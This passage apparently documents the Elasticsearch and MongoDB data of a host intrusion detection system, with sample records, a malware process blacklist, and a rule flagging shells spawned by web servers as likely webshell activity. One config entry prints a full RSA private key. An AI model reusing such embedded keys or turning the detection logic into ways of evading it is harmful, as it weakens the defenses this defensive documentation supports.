style="text-align:center">AWKodaW5ZT0_Kn0N9YOy</td><td style="text-align:center">1</td><td style="text-align:center">192.168.1.1</td><td style="text-align:center">0</td><td style="text-align:center">true</td><td style="text-align:center">Administrator</td><td style="text-align:center">2018-02-17T18:37:44+07:00</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:right"></td></tr><tr><td>monitor2018_04</td><td style="text-align:center">connection</td><td style="text-align:center">AWKpDlutZT0_Kn0N9Ydd</td><td style="text-align:center">1</td><td style="text-align:center">192.168.1.1</td><td style="text-align:center">182.118.40.31</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center">2018-04-09T14:18:06+08:00</td><td style="text-align:center">out</td><td style="text-align:center">192.168.1.1:54080</td><td style="text-align:center">LiveUpdate360.exe</td><td style="text-align:center">3524</td><td style="text-align:center">tcp</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:right"></td></tr><tr><td>monitor2018_04</td><td style="text-align:center">file</td><td style="text-align:center">AWKo3gdkZT0_Kn0N9Ycu</td><td style="text-align:center">1</td><td style="text-align:center">192.168.1.1</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center">2018-04-09T13:25:21+08:00</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center">WRITE</td><td style="text-align:center">899a5bf1669610cdb78d322ac8d9358b</td><td style="text-align:center">c:\windows\sysnative\Packet.dll</td><td style="text-align:center">Administrators</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:right"></td></tr><tr><td>monitor2018_04</td><td style="text-align:center">process</td><td style="text-align:center">AWKzeH6oZT0_Kn0N9Y0x</td><td style="text-align:center">1</td><td style="text-align:center">192.168.1.1</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center">2018-04-11T14:49:43+08:00</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center">cmd.exe</td><td style="text-align:center">2380</td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center"></td><td style="text-align:center">sqlservr.exe</td><td style="text-align:right">1392</td></tr></tbody></table><h2 id="五、MongoDB数据库"><a href="#五、MongoDB数据库" class="headerlink" title="五、MongoDB数据库"></a>五、MongoDB数据库</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&gt;show collections</span><br><span class="line">client</span><br><span class="line">config</span><br><span class="line">file</span><br><span class="line">info</span><br><span class="line">notice</span><br><span class="line">rules</span><br><span class="line">server</span><br><span class="line">statistics</span><br></pre></td></tr></table></figure><p>字段数据举例：</p><p><strong> client：</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">db.client.find()</span><br><span class="line"></span><br><span class="line"> &quot;_id&quot; : ObjectId(&quot;5acf4cde5e2ba50ef19a6347&quot;), &quot;ip&quot; : &quot;192.168.1.2&quot;, &quot;hostname&quot; : &quot;bbbbbbbbbbbbbbb&quot;, &quot;path&quot; : [ ], &quot;system&quot; : &quot;Windows Server 2008 R2 Enterprise  64&quot;, &quot;type&quot; : &quot;db&quot;, &quot;uptime&quot; : ISODate(&quot;2018-04-12T12:15:10.475Z&quot;), &quot;health&quot; : 1 &#125;</span><br><span class="line"></span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5acf4dec5e2ba50ef1b547f9&quot;), &quot;ip&quot; : &quot;192.168.1.3&quot;, &quot;hostname&quot; : &quot;bbbbbbbbbbbbbbb&quot;, &quot;path&quot; : [ ], &quot;system&quot; : &quot;Windows Server 2008 R2 Enterprise  64&quot;, &quot;type&quot; : &quot;db&quot;, &quot;uptime&quot; : ISODate(&quot;2018-04-13T10:29:36.636Z&quot;), &quot;health&quot; : 2 &#125;</span><br><span class="line"></span><br><span class="line">0健康 1离线 2存在防火墙阻拦</span><br></pre></td></tr></table></figure><p><strong> config：</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">db.config.find()</span><br><span class="line"></span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5ac9e1a25e2ba50ef1a758e2&quot;), &quot;type&quot; : &quot;client&quot;, &quot;dic&quot; : &#123; &quot;cycle&quot; : 2, &quot;udp&quot; : false, &quot;lan&quot; : false, &quot;monitorPath&quot; : [ &quot;%windows%&quot;, &quot;%system32%&quot;, &quot;%web%&quot;, &quot;/etc/&quot;, &quot;/bin/&quot;, &quot;/sbin/&quot;, &quot;/usr/bin/&quot;, &quot;/usr/sbin/&quot; ] &#125; &#125;</span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5ac9e1a25e2ba50ef1a758e3&quot;), &quot;type&quot; : &quot;server&quot;, &quot;dic&quot; : &#123; &quot;publickey&quot; : &quot;-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDJcyrbTRmezc++tR1ZF4R0LktE\nNye/MHY07CE229av69YnJuUtYnEWc1471mDhaJmL8kAb+46Bt7y7L53H2t4VuMTd\nQfghZ/QAyKWsumupZhll0clh3bbROKHfJbNYSydmT+M9GbLygGeH1zLpSL8Qx9to\n4eVPhcIUMhjGGxbpqwIDAQAB\n-----END PUBLIC KEY-----\n&quot;, &quot;privatekey&quot; : &quot;-----BEGIN RSA PRIVATE KEY-----\nMIICXgIBAAKBgQDJcyrbTRmezc++tR1ZF4R0LktENye/MHY07CE229av69YnJuUt\nYnEWc1471mDhaJmL8kAb+46Bt7y7L53H2t4VuMTdQfghZ/QAyKWsumupZhll0clh\n3bbROKHfJbNYSydmT+M9GbLygGeH1zLpSL8Qx9to4eVPhcIUMhjGGxbpqwIDAQAB\nAoGBAImFMFWDHaFWOKKku0MtlcNGMyV/TYfsClX4eHgdvUJdCdWybLL9x9ueqE7K\n+1oFcQSjPHad1Nvi1VknmVtsozwTAMWoRq1J1NLVK4nxKpB4G1WRw7lQPLTLwmkZ\n3MuvNHQpFKtUGgAnv8bOer2ijDpkg72FCU140ETapTGHVmfBAkEA/TMb8vgwhYK8\nnu/telcL8BStGbp+pS0T84Zcg4kdlznsQHXPnpueSQvsJmXeSW9zaDf/cQUMJFvT\nHzfbNgLSIQJBAMutiak/F6A1caFuS3uiDLwBnFBjvWR16YKonhSomSbE2RP4xPMm\nXXhjv1xPtLfav1Rx95txjiZyREjJNzlsGksCQQDZOhoGcAwg3zM4IJvbVAb36KVB\n55Bz4aK2UVXZu69ZaOZZvzlq2BQKk2H853S4CBg5F6Hdsvjh0K3moKM/SVhBAkBo\nOjDk9A1iBZdVdbyY0s9TcjuMg83KV/Cb1S+4AKMGzNsNNlOK3goc7mZhlcQ0BXO9\ngeikmhKVKAo7eQSSlPhLAkEApEHlFSWjbedA9RgHuUa/BeX6htRoghfOfS34Ebqg\ntuxp35YdsLs6iDl7zf1ZQuUvUsTPhXnSzP2Yti0/dI7Ejg==\n-----END RSA PRIVATE KEY-----\n&quot;, &quot;cert&quot; : &quot;-----BEGIN CERTIFICATE-----\nMIICEDCCAXmgAwIBAgIJANcVcODaSbzPMA0GCSqGSIb3DQEBBQUAMCExHzAdBgNV\nBAMMFmRvbWFpbi1zZWMtcHJvamVjdC5jb20wHhcNMTgwNDA4MDkzNjM3WhcNMjgw\nNDA1MDkzNjM3WjAhMR8wHQYDVQQDDBZkb21haW4tc2VjLXByb2plY3QuY29tMIGf\nMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDJcyrbTRmezc++tR1ZF4R0LktENye/\nMHY07CE229av69YnJuUtYnEWc1471mDhaJmL8kAb+46Bt7y7L53H2t4VuMTdQfgh\nZ/QAyKWsumupZhll0clh3bbROKHfJbNYSydmT+M9GbLygGeH1zLpSL8Qx9to4eVP\nhcIUMhjGGxbpqwIDAQABo1AwTjAdBgNVHQ4EFgQUZwP3xxBKYkhKUFyxt4ZoktDU\ne0YwHwYDVR0jBBgwFoAUZwP3xxBKYkhKUFyxt4ZoktDUe0YwDAYDVR0TBAUwAwEB\n/zANBgkqhkiG9w0BAQUFAAOBgQATrutSnvbPTqrPv+19DQZSSSTWQoyaddPT3Q5i\nvyqerVrozRfgHbxKspZZIyJL04BQtCLj+85yIIRfgTbWozy5pwimjJYd8NB72PUr\n8mirgWqewMLe1mhWmS8IXOJfzFhB9azlj5sly47JunLnbKlaVqU+ZtjUiq7jKw4p\nlpBftw==\n-----END CERTIFICATE-----\n&quot;, &quot;learn&quot; : false, &quot;offlinecheck&quot; : false &#125; &#125;</span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5ac9e1a25e2ba50ef1a758e4&quot;), &quot;type&quot; : &quot;intelligence&quot;, &quot;dic&quot; : &#123; &quot;switch&quot; : false, &quot;ipapi&quot; : &quot;http://127.0.0.1/api/?ip=&#123;$ip&#125;&quot;, &quot;fileapi&quot; : &quot;http://127.0.0.1/api/?hash=&#123;$hash&#125;&quot;, &quot;regex&quot; : &quot;black&quot; &#125; &#125;</span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5ac9e1a25e2ba50ef1a758e5&quot;), &quot;dic&quot; : &#123; &quot;switch&quot; : false, &quot;onlyhigh&quot; : false, &quot;api&quot;: &quot;http://127.0.0.1/test/?text=&#123;$info&#125;&quot; &#125;, &quot;type&quot; : &quot;notice&quot; &#125;</span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5ac9e1a25e2ba50ef1a758e6&quot;), &quot;dic&quot; : &#123; &quot;file&quot; : [ ], &quot;ip&quot; : [ ], &quot;process&quot; : [ ], &quot;other&quot; : [ ] &#125;, &quot;type&quot; : &quot;whitelist&quot; &#125;</span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5ac9e1a25e2ba50ef1a758e7&quot;), &quot;type&quot; : &quot;blacklist&quot;, &quot;dic&quot; : &#123; &quot;process&quot; : [ &quot;mssecsvc\\.exe&quot;, &quot;tasksche\\.exe&quot; ], &quot;other&quot; : [ ], &quot;file&quot; : [ ], &quot;ip&quot; : [ ] &#125; &#125;</span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5ac9e1a25e2ba50ef1a758e8&quot;), &quot;type&quot; : &quot;filter&quot;, &quot;dic&quot; : &#123; &quot;file&quot; : [ &quot;^c:\\\\windows\\\\temp$&quot;, &quot;\\.(png|js|css|jpg|gif|wolff|svg)$&quot; ], &quot;ip&quot; : [ ], &quot;process&quot; : [ &quot;c:\\\\windows\\\\system32\\\\wbem\\\\wmiprvse.exe&quot; ] &#125; &#125;</span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5ac9e1a25e2ba50ef1a758e9&quot;), &quot;type&quot; : &quot;web&quot;, &quot;dic&quot; : &#123; &quot;tfakey&quot; : &quot;&quot; &#125; &#125;</span><br></pre></td></tr></table></figure><p><strong> file: </strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">&gt; db.file.find()</span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5ac9e22c5e2ba50ef1a7591f&quot;), &quot;platform&quot; : &quot;64&quot;, &quot;system&quot; : &quot;linux&quot;, &quot;type&quot; : &quot;agent&quot;, &quot;hash&quot; : &quot;08e2a1144e4191e375cb03fcd5e7a7c3&quot;, &quot;uptime&quot; : ISODate(&quot;2018-04-08T09:34:36.178Z&quot;) &#125;</span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5ac9e22c5e2ba50ef1a75922&quot;), &quot;platform&quot; : &quot;64&quot;, &quot;system&quot; : &quot;linux&quot;, &quot;type&quot; : &quot;daemon&quot;, &quot;hash&quot; : &quot;5b1ddf0f8ee2fc9c170be29462cdcc54&quot;, &quot;uptime&quot; : ISODate(&quot;2018-04-08T09:34:36.218Z&quot;) &#125;</span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5ac9e22c5e2ba50ef1a75925&quot;), &quot;platform&quot; : &quot;64&quot;, &quot;system&quot; : &quot;linux&quot;, &quot;type&quot; : &quot;data&quot;, &quot;hash&quot; : &quot;ec777b4a79f32254f5a8dae10cf029b2&quot;, &quot;uptime&quot; : ISODate(&quot;2018-04-08T09:34:36.222Z&quot;) &#125;</span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5ac9e2305e2ba50ef1a7592c&quot;), &quot;platform&quot; : &quot;32&quot;, &quot;system&quot; : &quot;windows&quot;, &quot;type&quot; : &quot;agent&quot;, &quot;hash&quot; : &quot;536f05fd939ae563fbdd7e52a3d7e132&quot;, &quot;uptime&quot; : ISODate(&quot;2018-04-08T09:34:40.776Z&quot;) &#125;</span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5ac9e2305e2ba50ef1a7592f&quot;), &quot;platform&quot; : &quot;32&quot;, &quot;system&quot; : &quot;windows&quot;, &quot;type&quot; : &quot;daemon&quot;, &quot;hash&quot; : &quot;37e3593a084dff5e2bce85dd4815cf8e&quot;, &quot;uptime&quot; : ISODate(&quot;2018-04-08T09:34:40.792Z&quot;) &#125;</span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5ac9e2305e2ba50ef1a75932&quot;), &quot;platform&quot; : &quot;32&quot;, &quot;system&quot; : &quot;windows&quot;, &quot;type&quot; : &quot;data&quot;, &quot;hash&quot; : &quot;ce04138b9f0336f5c30297d34b44b63a&quot;, &quot;uptime&quot; : ISODate(&quot;2018-04-08T09:34:40.793Z&quot;) &#125;</span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5ac9e2305e2ba50ef1a75938&quot;), &quot;platform&quot; : &quot;64&quot;, &quot;system&quot; : &quot;windows&quot;, &quot;type&quot; : &quot;agent&quot;, &quot;hash&quot; : &quot;536f05fd939ae563fbdd7e52a3d7e132&quot;, &quot;uptime&quot; : ISODate(&quot;2018-04-08T09:34:40.935Z&quot;) &#125;</span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5ac9e2305e2ba50ef1a7593b&quot;), &quot;platform&quot; : &quot;64&quot;, &quot;system&quot; : &quot;windows&quot;, &quot;type&quot; : &quot;daemon&quot;, &quot;hash&quot; : &quot;37e3593a084dff5e2bce85dd4815cf8e&quot;, &quot;uptime&quot; : ISODate(&quot;2018-04-08T09:34:40.951Z&quot;) &#125;</span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5ac9e2305e2ba50ef1a7593e&quot;), &quot;platform&quot; : &quot;64&quot;, &quot;system&quot; : &quot;windows&quot;, &quot;type&quot; : &quot;data&quot;, &quot;hash&quot; : &quot;00af5f5a51df34a942d44cf9641ad368&quot;, &quot;uptime&quot; : ISODate(&quot;2018-04-08T09:34:40.953Z&quot;) &#125;</span><br></pre></td></tr></table></figure><p><strong> info: </strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">&gt; db.info.findOne()</span><br><span class="line">&#123;</span><br><span class="line">&quot;_id&quot; : ObjectId(&quot;5aca09915e2ba50ef1ac00a7&quot;),</span><br><span class="line">&quot;ip&quot; : &quot;192.168.1.4&quot;,</span><br><span class="line">&quot;type&quot; : &quot;userlist&quot;,</span><br><span class="line">&quot;system&quot; : &quot;linux&quot;,</span><br><span class="line">&quot;data&quot; : [</span><br><span class="line">&#123;</span><br><span class="line">&quot;name&quot; : &quot;root&quot;,</span><br><span class="line">&quot;description&quot; : &quot;x:0:0:root:/root:/bin/bash&quot;</span><br><span class="line">&#125;,</span><br><span class="line">&#123;</span><br><span class="line">&quot;description&quot; : &quot;x:5:0:sync:/sbin:/bin/sync&quot;,</span><br><span class="line">&quot;name&quot; : &quot;sync&quot;</span><br><span class="line">&#125;,</span><br><span class="line">&#123;</span><br><span class="line">&quot;name&quot; : &quot;shutdown&quot;,</span><br><span class="line">&quot;description&quot; : &quot;x:6:0:shutdown:/sbin:/sbin/shutdown&quot;</span><br><span class="line">&#125;,</span><br><span class="line">&#123;</span><br><span class="line">&quot;description&quot; : &quot;x:7:0:halt:/sbin:/sbin/halt&quot;,</span><br><span class="line">&quot;name&quot; : &quot;halt&quot;</span><br><span class="line">&#125;,</span><br><span class="line">&#123;</span><br><span class="line">&quot;description&quot; : &quot;x:500:500::/home/niubi:/bin/bash&quot;,</span><br><span class="line">&quot;name&quot; : &quot;niubi&quot;</span><br><span class="line">&#125;,</span><br><span class="line">&#123;</span><br><span class="line">&quot;name&quot; : &quot;papapa&quot;,</span><br><span class="line">&quot;description&quot; : &quot;x:550:550::/home/papapa:/bin/bash&quot;</span><br><span class="line">&#125;</span><br><span class="line">],</span><br><span class="line">&quot;uptime&quot; : ISODate(&quot;2018-04-09T09:05:48.640Z&quot;)</span><br><span class="line">&#125;</span><br><span class="line">&gt;</span><br></pre></td></tr></table></figure><p><strong> notice：</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">&gt; db.notice.findOne()</span><br><span class="line">&#123;</span><br><span class="line">&quot;_id&quot; : ObjectId(&quot;5aca09915e2ba50ef1ac00ee&quot;),</span><br><span class="line">&quot;description&quot; : &quot;企业网络中首次出现的linux可登陆用户&quot;,</span><br><span class="line">&quot;info&quot; : &quot;root|x:0:0:root:/root:/bin/bash&quot;,</span><br><span class="line">&quot;ip&quot; : &quot;192.168.1.4&quot;,</span><br><span class="line">&quot;level&quot; : 1,</span><br><span class="line">&quot;source&quot; : &quot;可疑用户&quot;,</span><br><span class="line">&quot;status&quot; : 4,</span><br><span class="line">&quot;time&quot; : ISODate(&quot;2018-04-08T12:22:41.864Z&quot;),</span><br><span class="line">&quot;type&quot; : &quot;userlist&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong> rules：</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">&quot;_id&quot; : ObjectId(&quot;5ac9e1de5e2ba50ef1a758f8&quot;),</span><br><span class="line">&quot;enabled&quot; : true,</span><br><span class="line">&quot;meta&quot; : &#123;</span><br><span class="line">&quot;description&quot; : &quot;web进程执行了系统命令，可能为命令执行漏洞或者webshell行为&quot;,</span><br><span class="line">&quot;level&quot; : 0,</span><br><span class="line">&quot;name&quot; : &quot;WebServer可疑进程启动(windows)&quot;,</span><br><span class="line">&quot;author&quot; : &quot;wolf&quot;</span><br><span class="line">&#125;,</span><br><span class="line">&quot;rules&quot; : &#123;</span><br><span class="line">&quot;name&quot; : &#123;</span><br><span class="line">&quot;data&quot; : &quot;^(cmd\\.exe|powershell\\.exe)$&quot;,</span><br><span class="line">&quot;type&quot; : &quot;regex&quot;</span><br><span class="line">&#125;,</span><br><span class="line">&quot;parentname&quot; : &#123;</span><br><span class="line">&quot;data&quot; : &quot;^(w3wp\\.exe|httpd\\.exe|nginx\\.exe|php-cgi\\.exe)$&quot;,</span><br><span class="line">&quot;type&quot; : &quot;regex&quot;</span><br><span class="line">&#125;</span><br><span class="line">&#125;,</span><br><span class="line">&quot;source&quot; : &quot;process&quot;,</span><br><span class="line">&quot;system&quot; : &quot;windows&quot;,</span><br><span class="line">&quot;and&quot; : true</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong> server：</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">&quot;_id&quot; : ObjectId(&quot;5aca096d5e2ba50ef1a75c5c&quot;),</span><br><span class="line">&quot;netloc&quot; : &quot;192.168.1.5:33433&quot;,</span><br><span class="line">&quot;uptime&quot; : ISODate(&quot;2018-04-13T12:47:34.678Z&quot;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong> statistics: </strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5aca09915e2ba50ef1ac00ab&quot;), &quot;uptime&quot; : ISODate(&quot;2018-04-11T12:35:13.782Z&quot;), &quot;type&quot; : &quot;loginlog&quot;, &quot;info&quot; : &quot;192.168.1.6&quot;, &quot;count&quot; : 30, &quot;server_list&quot; : [ &quot;192.168.1.4&quot;, &quot;192.168.1.5&quot; ]&#125;</span><br><span class="line"></span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5aca09915e2ba50ef1ac00b8&quot;), &quot;type&quot; : &quot;loginlog&quot;, &quot;info&quot; : &quot;192.168.1.7&quot;, &quot;count&quot; :12, &quot;server_list&quot; : [ &quot;192.168.1.4&quot;, &quot;192.168.1.5&quot; ], &quot;uptime&quot; : ISODate(&quot;2018-04-09T09:05:48.640Z&quot;)&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5aca09915e2ba50ef1ac00b4&quot;), &quot;type&quot; : &quot;userlist&quot;, &quot;info&quot; : &quot;root&quot;, &quot;count&quot; : 4, &quot;server_list&quot; : [ &quot;192.168.1.4&quot;, &quot;192.168.1.5&quot; ], &quot;uptime&quot; : ISODate(&quot;2018-04-09T09:05:48.640Z&quot;) &#125;</span><br><span class="line"></span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5acf1f5e5e2ba50ef1fb4e28&quot;), &quot;type&quot; : &quot;userlist&quot;, &quot;info&quot; : &quot;piasdf$&quot;, &quot;count&quot; : 7,&quot;server_list&quot; : [ &quot;192.168.1.1&quot;, &quot;192.168.1.2&quot;, &quot;192.168.1.3&quot; ], &quot;uptime&quot; : ISODate(&quot;2018-04-12T12:35:53.264Z&quot;) &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5aca09915e2ba50ef1ac00b6&quot;), &quot;info&quot; : &quot;0.0.0.0:5266&quot;, &quot;count&quot; : 7, &quot;server_list&quot; :[ &quot;192.168.1.4&quot;, &quot;192.168.1.5&quot; ], &quot;uptime&quot; : ISODate(&quot;2018-04-12T18:21:44.314Z&quot;), &quot;type&quot; : &quot;listening&quot; &#125;</span><br><span class="line"></span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5aca0bc25e2ba50ef1e3542a&quot;), &quot;type&quot; : &quot;listening&quot;, &quot;info&quot; : &quot;0.0.0.0:443&quot;, &quot;count&quot;: 4, &quot;server_list&quot; : [ &quot;192.168.1.5&quot; ], &quot;uptime&quot; : ISODate(&quot;2018-04-12T18:21:44.314Z&quot;) &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5aca0bc25e2ba50ef1e353e0&quot;), &quot;type&quot; : &quot;crontab&quot;, &quot;info&quot; : &quot;/usr/bin/test -f  /tmp/lockfile &gt;/dev/null || /opt/apple/apps/ddd/tool 2 &gt;/dev/null &amp;&amp; /bin/touch /tmp/lock&quot;, &quot;count&quot; : 1, &quot;server_list&quot; : [ &quot;192.168.1.5&quot; ], &quot;uptime&quot; : ISODate(&quot;2018-04-08T12:32:02.633Z&quot;) &#125;</span><br><span class="line"></span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5acadea05e2ba50ef1a55877&quot;), &quot;type&quot; : &quot;crontab&quot;, &quot;info&quot; : &quot;c:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe&quot;, &quot;count&quot; : 16, &quot;server_list&quot; : [ &quot;192.168.1.1&quot;, &quot;192.168.1.2&quot;, &quot;192.168.1.3&quot; ], &quot;uptime&quot; : ISODate(&quot;2018-04-12T12:35:53.233Z&quot;) &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5acadea95e2ba50ef1a630c8&quot;), &quot;type&quot; : &quot;connection&quot;, &quot;info&quot; : &quot;111.206.79.165&quot;, &quot;count&quot; : 4987, &quot;server_list&quot; : [ &quot;192.168.1.1&quot; ], &quot;uptime&quot; : ISODate(&quot;2018-04-11T12:53:15.086Z&quot;) &#125;</span><br><span class="line"></span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5acae3135e2ba50ef11946e6&quot;), &quot;type&quot; : &quot;connection&quot;, &quot;info&quot; : &quot;123.125.80.36&quot;, &quot;count&quot; : 1, &quot;server_list&quot; : [ &quot;192.168.1.1&quot; ], &quot;uptime&quot; : ISODate(&quot;2018-04-09T03:50:43.619Z&quot;) &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5acf23575e2ba50ef16296eb&quot;), &quot;type&quot; : &quot;process&quot;, &quot;info&quot; : &quot;w3wp.exe&quot;, &quot;count&quot; : 6,&quot;server_list&quot; : [ &quot;192.168.1.1&quot;, &quot;192.168.1.2&quot;, &quot;192.168.1.3&quot; ], &quot;uptime&quot; : ISODate(&quot;2018-04-13T12:43:03.017Z&quot;) &#125;</span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5acf32385e2ba50ef1e5ee42&quot;), &quot;info&quot; : &quot;HipsMain.exe&quot;, &quot;count&quot; : 3, &quot;server_list&quot; :[ &quot;192.168.1.1&quot;, &quot;192.168.1.3&quot; ], &quot;uptime&quot; : ISODate(&quot;2018-04-12T12:39:49.601Z&quot;), &quot;type&quot; : &quot;process&quot; &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">&#123; &quot;_id&quot; : ObjectId(&quot;5acadea05e2ba50ef1a5587a&quot;), &quot;uptime&quot; : ISODate(&quot;2018-04-12T12:35:53.232Z&quot;), &quot;type&quot; : &quot;startup&quot;, &quot;info&quot; : &quot;360sd&quot;, &quot;count&quot; : 18, &quot;server_list&quot; : [ &quot;192.168.1.1&quot;, &quot;192.168.1.2&quot;, &quot;192.168.1.3&quot; ] &#125;</span><br><span class="line"></span><br><span 